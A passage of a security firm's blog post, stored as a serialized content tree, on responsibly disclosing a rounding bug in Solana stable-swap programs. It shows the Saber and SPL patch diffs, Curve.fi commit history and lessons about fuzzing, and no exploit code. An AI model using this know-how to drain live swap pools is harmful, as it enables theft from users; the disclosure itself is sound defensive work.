Program\n",[5954],{"type":24,"tag":154,"props":5955,"children":5956},{"__ignoreMap":7},[5957],{"type":29,"value":5952},{"type":24,"tag":25,"props":5959,"children":5960},{},[5961],{"type":29,"value":5962},"Now it was time to contact these teams.",{"type":24,"tag":25,"props":5964,"children":5965},{},[5966],{"type":29,"value":5967},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":24,"tag":25,"props":5969,"children":5970},{},[5971],{"type":29,"value":5972},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":24,"tag":147,"props":5974,"children":5976},{"code":5975,"language":150,"meta":7,"className":151,"style":7},"- let dy = swap_destination_amount.checked_sub(y)?;\n+ // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+ let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[5977],{"type":24,"tag":154,"props":5978,"children":5979},{"__ignoreMap":7},[5980,6034,6046],{"type":24,"tag":158,"props":5981,"children":5982},{"class":160,"line":161},[5983,5988,5992,5997,6001,6006,6010,6014,6018,6022,6026,6030],{"type":24,"tag":158,"props":5984,"children":5985},{"style":222},[5986],{"type":29,"value":5987},"-",{"type":24,"tag":158,"props":5989,"children":5990},{"style":165},[5991],{"type":29,"value":4732},{"type":24,"tag":158,"props":5993,"children":5994},{"style":177},[5995],{"type":29,"value":5996}," dy",{"type":24,"tag":158,"props":5998,"children":5999},{"style":222},[6000],{"type":29,"value":462},{"type":24,"tag":158,"props":6002,"children":6003},{"style":177},[6004],{"type":29,"value":6005}," swap_destination_amount",{"type":24,"tag":158,"props":6007,"children":6008},{"style":222},[6009],{"type":29,"value":347},{"type":24,"tag":158,"props":6011,"children":6012},{"style":496},[6013],{"type":29,"value":4899},{"type":24,"tag":158,"props":6015,"children":6016},{"style":188},[6017],{"type":29,"value":504},{"type":24,"tag":158,"props":6019,"children":6020},{"style":177},[6021],{"type":29,"value":4780},{"type":24,"tag":158,"props":6023,"children":6024},{"style":188},[6025],{"type":29,"value":521},{"type":24,"tag":158,"props":6027,"children":6028},{"style":222},[6029],{"type":29,"value":4820},{"type":24,"tag":158,"props":6031,"children":6032},{"style":188},[6033],{"type":29,"value":473},{"type":24,"tag":158,"props":6035,"children":6036},{"class":160,"line":213},[6037,6041],{"type":24,"tag":158,"props":6038,"children":6039},{"style":222},[6040],{"type":29,"value":728},{"type":24,"tag":158,"props":6042,"children":6043},{"style":2588},[6044],{"type":29,"value":6045}," // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":24,"tag":158,"props":6047,"children":6048},{"class":160,"line":238},[6049,6053,6057,6061,6065,6069,6073,6077,6081,6085,6089,6093,6097,6101,6105,6109,6113],{"type":24,"tag":158,"props":6050,"children":6051},{"style":222},[6052],{"type":29,"value":728},{"type":24,"tag":158,"props":6054,"children":6055},{"style":165},[6056],{"type":29,"value":4732},{"type":24,"tag":158,"props":6058,"children":6059},{"style":177},[6060],{"type":29,"value":5996},{"type":24,"tag":158,"props":6062,"children":6063},{"style":222},[6064],{"type":29,"value":462},{"type":24,"tag":158,"props":6066,"children":6067},{"style":177},[6068],{"type":29,"value":6005},{"type":24,"tag":158,"props":6070,"children":6071},{"style":222},[6072],{"type":29,"value":347},{"type":24,"tag":158,"props":6074,"children":6075},{"style":496},[6076],{"type":29,"value":4899},{"type":24,"tag":158,"props":6078,"children":6079},{"style":188},[6080],{"type":29,"value":504},{"type":24,"tag":158,"props":6082,"children":6083},{"style":177},[6084],{"type":29,"value":4780},{"type":24,"tag":158,"props":6086,"children":6087},{"style":188},[6088],{"type":29,"value":521},{"type":24,"tag":158,"props":6090,"children":6091},{"style":222},[6092],{"type":29,"value":4798},{"type":24,"tag":158,"props":6094,"children":6095},{"style":496},[6096],{"type":29,"value":4899},{"type":24,"tag":158,"props":6098,"children":6099},{"style":188},[6100],{"type":29,"value":504},{"type":24,"tag":158,"props":6102,"children":6103},{"style":465},[6104],{"type":29,"value":5672},{"type":24,"tag":158,"props":6106,"children":6107},{"style":188},[6108],{"type":29,"value":521},{"type":24,"tag":158,"props":6110,"children":6111},{"style":222},[6112],{"type":29,"value":4820},{"type":24,"tag":158,"props":6114,"children":6115},{"style":188},[6116],{"type":29,"value":473},{"type":24,"tag":25,"props":6118,"children":6119},{},[6120,6122,6129],{"type":29,"value":6121},"For reference, here is the ",{"type":24,"tag":101,"props":6123,"children":6126},{"href":6124,"rel":6125},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[105],[6127],{"type":29,"value":6128},"Curve.fi implementation",{"type":29,"value":347},{"type":24,"tag":147,"props":6131,"children":6135},{"code":6132,"language":6133,"meta":7,"className":6134,"style":7}," dy: uint256 = xp[j] - y - 1 # -1 just in case there were some rounding errors\n dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[6136],{"type":24,"tag":154,"props":6137,"children":6138},{"__ignoreMap":7},[6139,6200],{"type":24,"tag":158,"props":6140,"children":6141},{"class":160,"line":161},[6142,6147,6151,6156,6160,6165,6169,6174,6178,6182,6187,6191,6195],{"type":24,"tag":158,"props":6143,"children":6144},{"style":188},[6145],{"type":29,"value":6146}," dy",{"type":24,"tag":158,"props":6148,"children":6149},{"style":222},[6150],{"type":29,"value":225},{"type":24,"tag":158,"props":6152,"children":6153},{"style":171},[6154],{"type":29,"value":6155}," uint256",{"type":24,"tag":158,"props":6157,"children":6158},{"style":222},[6159],{"type":29,"value":462},{"type":24,"tag":158,"props":6161,"children":6162},{"style":188},[6163],{"type":29,"value":6164}," xp[j] ",{"type":24,"tag":158,"props":6166,"children":6167},{"style":222},[6168],{"type":29,"value":5987},{"type":24,"tag":158,"props":6170,"children":6171},{"style":188},[6172],{"type":29,"value":6173}," y ",{"type":24,"tag":158,"props":6175,"children":6176},{"style":222},[6177],{"type":29,"value":5987},{"type":24,"tag":158,"props":6179,"children":6180},{"style":465},[6181],{"type":29,"value":1668},{"type":24,"tag":158,"props":6183,"children":6184},{"style":188},[6185],{"type":29,"value":6186}," # ",{"type":24,"tag":158,"props":6188,"children":6189},{"style":222},[6190],{"type":29,"value":5987},{"type":24,"tag":158,"props":6192,"children":6193},{"style":465},[6194],{"type":29,"value":5672},{"type":24,"tag":158,"props":6196,"children":6197},{"style":188},[6198],{"type":29,"value":6199}," just in case there were some rounding errors\n",{"type":24,"tag":158,"props":6201,"children":6202},{"class":160,"line":213},[6203,6208,6212,6216,6220,6225,6229,6234,6239],{"type":24,"tag":158,"props":6204,"children":6205},{"style":188},[6206],{"type":29,"value":6207}," dy_fee",{"type":24,"tag":158,"props":6209,"children":6210},{"style":222},[6211],{"type":29,"value":225},{"type":24,"tag":158,"props":6213,"children":6214},{"style":171},[6215],{"type":29,"value":6155},{"type":24,"tag":158,"props":6217,"children":6218},{"style":222},[6219],{"type":29,"value":462},{"type":24,"tag":158,"props":6221,"children":6222},{"style":188},[6223],{"type":29,"value":6224}," dy ",{"type":24,"tag":158,"props":6226,"children":6227},{"style":222},[6228],{"type":29,"value":577},{"type":24,"tag":158,"props":6230,"children":6231},{"style":188},[6232],{"type":29,"value":6233}," self.fee ",{"type":24,"tag":158,"props":6235,"children":6236},{"style":222},[6237],{"type":29,"value":6238},"/",{"type":24,"tag":158,"props":6240,"children":6241},{"style":188},[6242],{"type":29,"value":6243}," FEE_DENOMINATOR\n",{"type":24,"tag":25,"props":6245,"children":6246},{},[6247,6249,6256],{"type":29,"value":6248},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":24,"tag":101,"props":6250,"children":6253},{"href":6251,"rel":6252},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[105],[6254],{"type":29,"value":6255},"original commit",{"type":29,"value":6257},", not as an additional security patch.",{"type":24,"tag":147,"props":6259,"children":6261},{"code":6260},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate: Mon Aug 31 02:35:30 2020 +0300\n\n feat: add base pool without lending\n",[6262],{"type":24,"tag":154,"props":6263,"children":6264},{"__ignoreMap":7},[6265],{"type":29,"value":6260},{"type":24,"tag":25,"props":6267,"children":6268},{},[6269,6271,6278],{"type":29,"value":6270},"The commit adding stable swaps to SPL was ",{"type":24,"tag":101,"props":6272,"children":6275},{"href":6273,"rel":6274},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[105],[6276],{"type":29,"value":6277},"made a few months later",{"type":29,"value":6279},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":24,"tag":147,"props":6281,"children":6283},{"code":6282},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate: Tue Nov 17 15:13:18 2020 +0200\n\n Added stable curve invariant to the token swap smart contract (#838)\n\n * Added stable curve invariant to the token swap smart contract\n\n * Fixed formatting\n\n * Added missing stable curve constraints\n\n * Symbol renames to make math clearer\n\n * Small refactoring according to PR comments, fixes for JS tests\n",[6284],{"type":24,"tag":154,"props":6285,"children":6286},{"__ignoreMap":7},[6287],{"type":29,"value":6282},{"type":24,"tag":25,"props":6289,"children":6290},{},[6291,6293,6300],{"type":29,"value":6292},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":24,"tag":101,"props":6294,"children":6297},{"href":6295,"rel":6296},"https://github.com/solana-labs/solana-program-library",[105],[6298],{"type":29,"value":6299},"the Solana Program Library",{"type":29,"value":347},{"type":24,"tag":25,"props":6302,"children":6303},{},[6304],{"type":29,"value":6305},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":24,"tag":25,"props":6307,"children":6308},{},[6309,6316],{"type":24,"tag":101,"props":6310,"children":6313},{"href":6311,"rel":6312},"https://github.com/joncinque",[105],[6314],{"type":29,"value":6315},"@joncinque",{"type":29,"value":6317}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":24,"tag":4606,"props":6319,"children":6320},{},[6321],{"type":24,"tag":25,"props":6322,"children":6323},{},[6324],{"type":29,"value":6325},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":24,"tag":25,"props":6327,"children":6328},{},[6329,6331,6338,6340,6346],{"type":29,"value":6330},"After some thought, he helped ",{"type":24,"tag":101,"props":6332,"children":6335},{"href":6333,"rel":6334},"https://github.com/solana-labs/solana-program-library/pull/2942",[105],[6336],{"type":29,"value":6337},"introduce a PR",{"type":29,"value":6339}," which ceilings the computation in ",{"type":24,"tag":154,"props":6341,"children":6343},{"className":6342},[],[6344],{"type":29,"value":6345},"compute_new_destination_amount",{"type":29,"value":6347}," to correctly round within the stable curve math library.",{"type":24,"tag":147,"props":6349,"children":6351},{"code":6350,"language":150,"meta":7,"className":151,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y_prev: U256;\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n- y_prev = y;\n- y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n- .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n- if y == y_prev {\n+ let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+ .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+ if y_new == y {\n break;\n+ } else {\n+ y = y_new;\n }\n",[6352],{"type":24,"tag":154,"props":6353,"children":6354},{"__ignoreMap":7},[6355,6363,6392,6419,6447,6471,6547,6651,6678,6773,6876,6903,6915,6934,6957],{"type":24,"tag":158,"props":6356,"children":6357},{"class":160,"line":161},[6358],{"type":24,"tag":158,"props":6359,"children":6360},{"style":2588},[6361],{"type":29,"value":6362}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":158,"props":6364,"children":6365},{"class":160,"line":213},[6366,6371,6375,6380,6384,6388],{"type":24,"tag":158,"props":6367,"children":6368},{"style":165},[6369],{"type":29,"value":6370}," let",{"type":24,"tag":158,"props":6372,"children":6373},{"style":165},[6374],{"type":29,"value":4676},{"type":24,"tag":158,"props":6376,"children":6377},{"style":177},[6378],{"type":29,"value":6379}," y_prev",{"type":24,"tag":158,"props":6381,"children":6382},{"style":222},[6383],{"type":29,"value":225},{"type":24,"tag":158,"props":6385,"children":6386},{"style":171},[6387],{"type":29,"value":174},{"type":24,"tag":158,"props":6389,"children":6390},{"style":188},[6391],{"type":29,"value":473},{"type":24,"tag":158,"props":6393,"children":6394},{"class":160,"line":238},[6395,6399,6403,6407,6411,6415],{"type":24,"tag":158,"props":6396,"children":6397},{"style":165},[6398],{"type":29,"value":6370},{"type":24,"tag":158,"props":6400,"children":6401},{"style":165},[6402],{"type":29,"value":4676},{"type":24,"tag":158,"props":6404,"children":6405},{"style":177},[6406],{"type":29,"value":4681},{"type":24,"tag":158,"props":6408,"children":6409},{"style":222},[6410],{"type":29,"value":462},{"type":24,"tag":158,"props":6412,"children":6413},{"style":177},[6414],{"type":29,"value":4690},{"type":24,"tag":158,"props":6416,"children":6417},{"style":188},[6418],{"type":29,"value":473},{"type":24,"tag":158,"props":6420,"children":6421},{"class":160,"line":259},[6422,6427,6431,6435,6439,6443],{"type":24,"tag":158,"props":6423,"children":6424},{"style":1914},[6425],{"type":29,"value":6426}," for",{"type":24,"tag":158,"props":6428,"children":6429},{"style":177},[6430],{"type":29,"value":4707},{"type":24,"tag":158,"props":6432,"children":6433},{"style":165},[6434],{"type":29,"value":2020},{"type":24,"tag":158,"props":6436,"children":6437},{"style":465},[6438],{"type":29,"value":2025},{"type":24,"tag":158,"props":6440,"children":6441},{"style":222},[6442],{"type":29,"value":2030},{"type":24,"tag":158,"props":6444,"children":6445},{"style":188},[6446],{"type":29,"value":4724},{"type":24,"tag":158,"props":6448,"children":6449},{"class":160,"line":280},[6450,6454,6459,6463,6467],{"type":24,"tag":158,"props":6451,"children":6452},{"style":222},[6453],{"type":29,"value":5987},{"type":24,"tag":158,"props":6455,"children":6456},{"style":177},[6457],{"type":29,"value":6458}," y_prev",{"type":24,"tag":158,"props":6460,"children":6461},{"style":222},[6462],{"type":29,"value":462},{"type":24,"tag":158,"props":6464,"children":6465},{"style":177},[6466],{"type":29,"value":4681},{"type":24,"tag":158,"props":6468,"children":6469},{"style":188},[6470],{"type":29,"value":473},{"type":24,"tag":158,"props":6472,"children":6473},{"class":160,"line":301},[6474,6478,6483,6487,6491,6495,6499,6503,6507,6511,6515,6519,6523,6527,6531,6535,6539,6543],{"type":24,"tag":158,"props":6475,"children":6476},{"style":222},[6477],{"type":29,"value":5987},{"type":24,"tag":158,"props":6479,"children":6480},{"style":177},[6481],{"type":29,"value":6482}," y",{"type":24,"tag":158,"props":6484,"children":6485},{"style":222},[6486],{"type":29,"value":462},{"type":24,"tag":158,"props":6488,"children":6489},{"style":188},[6490],{"type":29,"value":2262},{"type":24,"tag":158,"props":6492,"children":6493},{"style":496},[6494],{"type":29,"value":4767},{"type":24,"tag":158,"props":6496,"children":6497},{"style":188},[6498],{"type":29,"value":504},{"type":24,"tag":158,"props":6500,"children":6501},{"style":222},[6502],{"type":29,"value":2212},{"type":24,"tag":158,"props":6504,"children":6505},{"style":177},[6506],{"type":29,"value":4780},{"type":24,"tag":158,"props":6508,"children":6509},{"style":188},[6510],{"type":29,"value":191},{"type":24,"tag":158,"props":6512,"children":6513},{"style":465},[6514],{"type":29,"value":4789},{"type":24,"tag":158,"props":6516,"children":6517},{"style":188},[6518],{"type":29,"value":521},{"type":24,"tag":158,"props":6520,"children":6521},{"style":222},[6522],{"type":29,"value":4798},{"type":24,"tag":158,"props":6524,"children":6525},{"style":496},[6526],{"type":29,"value":4803},{"type":24,"tag":158,"props":6528,"children":6529},{"style":188},[6530],{"type":29,"value":504},{"type":24,"tag":158,"props":6532,"children":6533},{"style":177},[6534],{"type":29,"value":2907},{"type":24,"tag":158,"props":6536,"children":6537},{"style":188},[6538],{"type":29,"value":521},{"type":24,"tag":158,"props":6540,"children":6541},{"style":222},[6542],{"type":29,"value":4820},{"type":24,"tag":158,"props":6544,"children":6545},{"style":188},[6546],{"type":29,"value":2125},{"type":24,"tag":158,"props":6548,"children":6549},{"class":160,"line":626},[6550,6554,6558,6563,6567,6571,6575,6579,6583,6587,6591,6595,6599,6603,6607,6611,6615,6619,6623,6627,6631,6635,6639,6643,6647],{"type":24,"tag":158,"props":6551,"children":6552},{"style":222},[6553],{"type":29,"value":5987},{"type":24,"tag":158,"props":6555,"children":6556},{"style":222},[6557],{"type":29,"value":4832},{"type":24,"tag":158,"props":6559,"children":6560},{"style":496},[6561],{"type":29,"value":6562},"checked_div",{"type":24,"tag":158,"props":6564,"children":6565},{"style":188},[6566],{"type":29,"value":504},{"type":24,"tag":158,"props":6568,"children":6569},{"style":496},[6570],{"type":29,"value":4846},{"type":24,"tag":158,"props":6572,"children":6573},{"style":188},[6574],{"type":29,"value":504},{"type":24,"tag":158,"props":6576,"children":6577},{"style":222},[6578],{"type":29,"value":2212},{"type":24,"tag":158,"props":6580,"children":6581},{"style":177},[6582],{"type":29,"value":4780},{"type":24,"tag":158,"props":6584,"children":6585},{"style":188},[6586],{"type":29,"value":191},{"type":24,"tag":158,"props":6588,"children":6589},{"style":465},[6590],{"type":29,"value":4789},{"type":24,"tag":158,"props":6592,"children":6593},{"style":188},[6594],{"type":29,"value":521},{"type":24,"tag":158,"props":6596,"children":6597},{"style":222},[6598],{"type":29,"value":4798},{"type":24,"tag":158,"props":6600,"children":6601},{"style":496},[6602],{"type":29,"value":4803},{"type":24,"tag":158,"props":6604,"children":6605},{"style":188},[6606],{"type":29,"value":504},{"type":24,"tag":158,"props":6608,"children":6609},{"style":177},[6610],{"type":29,"value":741},{"type":24,"tag":158,"props":6612,"children":6613},{"style":188},[6614],{"type":29,"value":521},{"type":24,"tag":158,"props":6616,"children":6617},{"style":222},[6618],{"type":29,"value":4798},{"type":24,"tag":158,"props":6620,"children":6621},{"style":496},[6622],{"type":29,"value":4899},{"type":24,"tag":158,"props":6624,"children":6625},{"style":188},[6626],{"type":29,"value":504},{"type":24,"tag":158,"props":6628,"children":6629},{"style":177},[6630],{"type":29,"value":4908},{"type":24,"tag":158,"props":6632,"children":6633},{"style":188},[6634],{"type":29,"value":521},{"type":24,"tag":158,"props":6636,"children":6637},{"style":222},[6638],{"type":29,"value":4820},{"type":24,"tag":158,"props":6640,"children":6641},{"style":188},[6642],{"type":29,"value":521},{"type":24,"tag":158,"props":6644,"children":6645},{"style":222},[6646],{"type":29,"value":4820},{"type":24,"tag":158,"props":6648,"children":6649},{"style":188},[6650],{"type":29,"value":473},{"type":24,"tag":158,"props":6652,"children":6653},{"class":160,"line":668},[6654,6658,6662,6666,6670,6674],{"type":24,"tag":158,"props":6655,"children":6656},{"style":222},[6657],{"type":29,"value":5987},{"type":24,"tag":158,"props":6659,"children":6660},{"style":1914},[6661],{"type":29,"value":4936},{"type":24,"tag":158,"props":6663,"children":6664},{"style":177},[6665],{"type":29,"value":4681},{"type":24,"tag":158,"props":6667,"children":6668},{"style":222},[6669],{"type":29,"value":3175},{"type":24,"tag":158,"props":6671,"children":6672},{"style":177},[6673],{"type":29,"value":6379},{"type":24,"tag":158,"props":6675,"children":6676},{"style":188},[6677],{"type":29,"value":210},{"type":24,"tag":158,"props":6679,"children":6680},{"class":160,"line":676},[6681,6685,6689,6693,6697,6701,6705,6709,6713,6717,6721,6725,6729,6733,6737,6741,6745,6749,6753,6757,6761,6765,6769],{"type":24,"tag":158,"props":6682,"children":6683},{"style":222},[6684],{"type":29,"value":728},{"type":24,"tag":158,"props":6686,"children":6687},{"style":165},[6688],{"type":29,"value":4732},{"type":24,"tag":158,"props":6690,"children":6691},{"style":188},[6692],{"type":29,"value":2262},{"type":24,"tag":158,"props":6694,"children":6695},{"style":177},[6696],{"type":29,"value":4741},{"type":24,"tag":158,"props":6698,"children":6699},{"style":188},[6700],{"type":29,"value":191},{"type":24,"tag":158,"props":6702,"children":6703},{"style":177},[6704],{"type":29,"value":4750},{"type":24,"tag":158,"props":6706,"children":6707},{"style":188},[6708],{"type":29,"value":723},{"type":24,"tag":158,"props":6710,"children":6711},{"style":222},[6712],{"type":29,"value":1285},{"type":24,"tag":158,"props":6714,"children":6715},{"style":188},[6716],{"type":29,"value":2262},{"type":24,"tag":158,"props":6718,"children":6719},{"style":496},[6720],{"type":29,"value":4767},{"type":24,"tag":158,"props":6722,"children":6723},{"style":188},[6724],{"type":29,"value":504},{"type":24,"tag":158,"props":6726,"children":6727},{"style":222},[6728],{"type":29,"value":2212},{"type":24,"tag":158,"props":6730,"children":6731},{"style":177},[6732],{"type":29,"value":4780},{"type":24,"tag":158,"props":6734,"children":6735},{"style":188},[6736],{"type":29,"value":191},{"type":24,"tag":158,"props":6738,"children":6739},{"style":465},[6740],{"type":29,"value":4789},{"type":24,"tag":158,"props":6742,"children":6743},{"style":188},[6744],{"type":29,"value":521},{"type":24,"tag":158,"props":6746,"children":6747},{"style":222},[6748],{"type":29,"value":4798},{"type":24,"tag":158,"props":6750,"children":6751},{"style":496},[6752],{"type":29,"value":4803},{"type":24,"tag":158,"props":6754,"children":6755},{"style":188},[6756],{"type":29,"value":504},{"type":24,"tag":158,"props":6758,"children":6759},{"style":177},[6760],{"type":29,"value":2907},{"type":24,"tag":158,"props":6762,"children":6763},{"style":188},[6764],{"type":29,"value":521},{"type":24,"tag":158,"props":6766,"children":6767},{"style":222},[6768],{"type":29,"value":4820},{"type":24,"tag":158,"props":6770,"children":6771},{"style":188},[6772],{"type":29,"value":2125},{"type":24,"tag":158,"props":6774,"children":6775},{"class":160,"line":684},[6776,6780,6784,6788,6792,6796,6800,6804,6808,6812,6816,6820,6824,6828,6832,6836,6840,6844,6848,6852,6856,6860,6864,6868,6872],{"type":24,"tag":158,"props":6777,"children":6778},{"style":222},[6779],{"type":29,"value":728},{"type":24,"tag":158,"props":6781,"children":6782},{"style":222},[6783],{"type":29,"value":4832},{"type":24,"tag":158,"props":6785,"children":6786},{"style":496},[6787],{"type":29,"value":4837},{"type":24,"tag":158,"props":6789,"children":6790},{"style":188},[6791],{"type":29,"value":504},{"type":24,"tag":158,"props":6793,"children":6794},{"style":496},[6795],{"type":29,"value":4846},{"type":24,"tag":158,"props":6797,"children":6798},{"style":188},[6799],{"type":29,"value":504},{"type":24,"tag":158,"props":6801,"children":6802},{"style":222},[6803],{"type":29,"value":2212},{"type":24,"tag":158,"props":6805,"children":6806},{"style":177},[6807],{"type":29,"value":4780},{"type":24,"tag":158,"props":6809,"children":6810},{"style":188},[6811],{"type":29,"value":191},{"type":24,"tag":158,"props":6813,"children":6814},{"style":465},[6815],{"type":29,"value":4789},{"type":24,"tag":158,"props":6817,"children":6818},{"style":188},[6819],{"type":29,"value":521},{"type":24,"tag":158,"props":6821,"children":6822},{"style":222},[6823],{"type":29,"value":4798},{"type":24,"tag":158,"props":6825,"children":6826},{"style":496},[6827],{"type":29,"value":4803},{"type":24,"tag":158,"props":6829,"children":6830},{"style":188},[6831],{"type":29,"value":504},{"type":24,"tag":158,"props":6833,"children":6834},{"style":177},[6835],{"type":29,"value":741},{"type":24,"tag":158,"props":6837,"children":6838},{"style":188},[6839],{"type":29,"value":521},{"type":24,"tag":158,"props":6841,"children":6842},{"style":222},[6843],{"type":29,"value":4798},{"type":24,"tag":158,"props":6845,"children":6846},{"style":496},[6847],{"type":29,"value":4899},{"type":24,"tag":158,"props":6849,"children":6850},{"style":188},[6851],{"type":29,"value":504},{"type":24,"tag":158,"props":6853,"children":6854},{"style":177},[6855],{"type":29,"value":4908},{"type":24,"tag":158,"props":6857,"children":6858},{"style":188},[6859],{"type":29,"value":521},{"type":24,"tag":158,"props":6861,"children":6862},{"style":222},[6863],{"type":29,"value":4820},{"type":24,"tag":158,"props":6865,"children":6866},{"style":188},[6867],{"type":29,"value":521},{"type":24,"tag":158,"props":6869,"children":6870},{"style":222},[6871],{"type":29,"value":4820},{"type":24,"tag":158,"props":6873,"children":6874},{"style":188},[6875],{"type":29,"value":473},{"type":24,"tag":158,"props":6877,"children":6878},{"class":160,"line":700},[6879,6883,6887,6891,6895,6899],{"type":24,"tag":158,"props":6880,"children":6881},{"style":222},[6882],{"type":29,"value":728},{"type":24,"tag":158,"props":6884,"children":6885},{"style":1914},[6886],{"type":29,"value":4936},{"type":24,"tag":158,"props":6888,"children":6889},{"style":177},[6890],{"type":29,"value":4941},{"type":24,"tag":158,"props":6892,"children":6893},{"style":222},[6894],{"type":29,"value":3175},{"type":24,"tag":158,"props":6896,"children":6897},{"style":177},[6898],{"type":29,"value":4681},{"type":24,"tag":158,"props":6900,"children":6901},{"style":188},[6902],{"type":29,"value":210},{"type":24,"tag":158,"props":6904,"children":6905},{"class":160,"line":785},[6906,6911],{"type":24,"tag":158,"props":6907,"children":6908},{"style":1914},[6909],{"type":29,"value":6910}," break",{"type":24,"tag":158,"props":6912,"children":6913},{"style":188},[6914],{"type":29,"value":473},{"type":24,"tag":158,"props":6916,"children":6917},{"class":160,"line":1447},[6918,6922,6926,6930],{"type":24,"tag":158,"props":6919,"children":6920},{"style":222},[6921],{"type":29,"value":728},{"type":24,"tag":158,"props":6923,"children":6924},{"style":188},[6925],{"type":29,"value":4973},{"type":24,"tag":158,"props":6927,"children":6928},{"style":1914},[6929],{"type":29,"value":4978},{"type":24,"tag":158,"props":6931,"children":6932},{"style":188},[6933],{"type":29,"value":210},{"type":24,"tag":158,"props":6935,"children":6936},{"class":160,"line":1509},[6937,6941,6945,6949,6953],{"type":24,"tag":158,"props":6938,"children":6939},{"style":222},[6940],{"type":29,"value":728},{"type":24,"tag":158,"props":6942,"children":6943},{"style":177},[6944],{"type":29,"value":4990},{"type":24,"tag":158,"props":6946,"children":6947},{"style":222},[6948],{"type":29,"value":462},{"type":24,"tag":158,"props":6950,"children":6951},{"style":177},[6952],{"type":29,"value":4941},{"type":24,"tag":158,"props":6954,"children":6955},{"style":188},[6956],{"type":29,"value":473},{"type":24,"tag":158,"props":6958,"children":6959},{"class":160,"line":1527},[6960],{"type":24,"tag":158,"props":6961,"children":6962},{"style":188},[6963],{"type":29,"value":6964}," }\n",{"type":24,"tag":59,"props":6966,"children":6967},{"id":4489},[6968],{"type":29,"value":4492},{"type":24,"tag":25,"props":6970,"children":6971},{},[6972],{"type":29,"value":6973},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":24,"tag":25,"props":6975,"children":6976},{},[6977,6979,6984],{"type":29,"value":6978},"Another interesting takeaway is that ",{"type":24,"tag":897,"props":6980,"children":6981},{},[6982],{"type":29,"value":6983},"fuzzing can give a false sense of security",{"type":29,"value":6985},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":24,"tag":25,"props":6987,"children":6988},{},[6989,6991,6998],{"type":29,"value":6990},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":24,"tag":101,"props":6992,"children":6995},{"href":6993,"rel":6994},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[105],[6996],{"type":29,"value":6997},"port-mortem of the NSS overflow",{"type":29,"value":347},{"type":24,"tag":25,"props":7000,"children":7001},{},[7002],{"type":24,"tag":84,"props":7003,"children":7005},{"alt":7,"src":7004},"/posts/spl-swap/p0.png",[],{"type":24,"tag":25,"props":7007,"children":7008},{},[7009],{"type":29,"value":7010},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":24,"tag":25,"props":7012,"children":7013},{},[7014],{"type":29,"value":7015},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":24,"tag":25,"props":7017,"children":7018},{},[7019],{"type":29,"value":7020},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":24,"tag":4517,"props":7022,"children":7023},{},[7024],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":7026},[7027,7028,7029,7030],{"id":4591,"depth":213,"text":4594},{"id":5581,"depth":213,"text":5584},{"id":5887,"depth":213,"text":5890},{"id":4489,"depth":213,"text":4492},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":7035,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7036,"description":7037,"image":7038,"date":7042,"isFeatured":16,"onBlogPage":16,"tags":7043,"body":7044,"_type":4536,"_id":7367,"_source":4538,"_file":7368,"_stem":7369,"_extension":4541},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent 